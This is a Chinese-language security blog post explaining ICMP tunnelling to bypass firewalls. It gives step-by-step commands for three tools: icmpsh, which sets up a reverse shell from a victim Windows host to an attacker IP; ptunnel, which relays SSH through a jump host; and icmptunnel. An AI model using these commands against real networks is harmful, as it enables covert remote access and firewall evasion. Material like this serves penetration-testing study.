前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >IMCP协议的魅力——IMCP隧道

IMCP协议的魅力——IMCP隧道

作者头像
重生信息安全
发布2020-05-06 19:22:58
5820
发布2020-05-06 19:22:58
举报

1、ICMP隧道的建立同样是建立在ICMP未被防火墙禁用的情况下使用的,就是PING命令,其原理就是在ICMP报文传输的时候,替换其中的Data部分的数据,并且对端通过一样的工具进行ICMP畸形包的处理。从而将恶意流量隐藏在ICMP数据包中,形成ICMP隧道。

适用于被攻击主机可ping攻击机,可作为临时绕过防火墙。

2、Icmpsh

1、ICMPSH最大的优点是不需要太大的权限即可使用

其使用环境拓扑图可能为这样,不过其他的协议(除IMCP外的协议)与端口都被中间看不见的FireWall所阻挡。

2、我们在运行此程序时需要关闭自身的ICMP应答(可能需要另外下载一个python包)

关闭应答:

sysctl -w net.ipv4.icmp_echo_ignore_all=1               
apt-get  install  python-impacket

3、然后在V**攻击机上运行

./icmpsh_m.py <V**-IP> <内网出网口的公网地址>(可能为内网防火墙的地址,可通过TcpDump 监听ICMP ,在受害主机上进行PING V** 从而得知,两者要能互相PING通)

 例如:./icmpsh_m.py    192.168.49.138    192.168.49.129

4、接着在内网受害主机下(windows)执行

icmpsh.exe  -t   V**_IP    -d  500     -s  128

可直接获取shell

5、总结:Icmpsh 使用简单,通过imcp协议绕过防火墙对其他协议的阻拦。要求是两者能够相互ping通信,可直接反弹shell。

3、ptunnel(kali自带)

1、此工具虽然与ICMPSH一样都是使用ICMP协议进行通信的,但是不一样的是,ICMPSH常用于直接反弹shell,而ptunnel采用的是隧道中转,因此需要内网存在一个跳板机

2、同样它需要把自身的ICMP响应关闭

 sysctl -w net.ipv4.icmp_echo_ignore_all=1

3、这里构造一个拓扑如下

4、在B主机(跳板服务器)和主机C装上Ptunnel(kali自带)

5、B主机 开启ptunnel

C主机:

ptunnel  -p  192.168.137.128  -lp  1234  -da  192.168.44.130  -dp  22

-p :跳板机的ip -lp:自己监听的端口 -da:内网目标的主机IP -dp:想连接的目标的端口

C主机最后在ssh -p 22 127.0.0.1 或者D主机 ssh -p 22 192.168.137.129 即可

6、总结:ptunnel 用于内网流量的中转,以ICMP协议为通道,起到一个内网跳板机的作用。

4、IcmpTunnel,效果和ICMPSH差不多

git clone https://github.com/jamesbarlow/icmptunnel.git

1、cd icmptunnel&&make

2、接下来在A建立一个服务段,在B建立一个客户端

A:

./icmptunnel -s && bg /sbin/ifconfig tun0 10.0.0.1 netmask 255.255.255.0

B:

./icmptunnel   A-IP  && bg /sbin/ifconfig tun0 10.0.0.2 netmask 255.255.255.0

3、最终效果为以下,两者建立一个特定IP的通道进行连接

参考文章:

https://www.freebuf.com/sectool/210450.html

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-04-30,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 重生信息安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档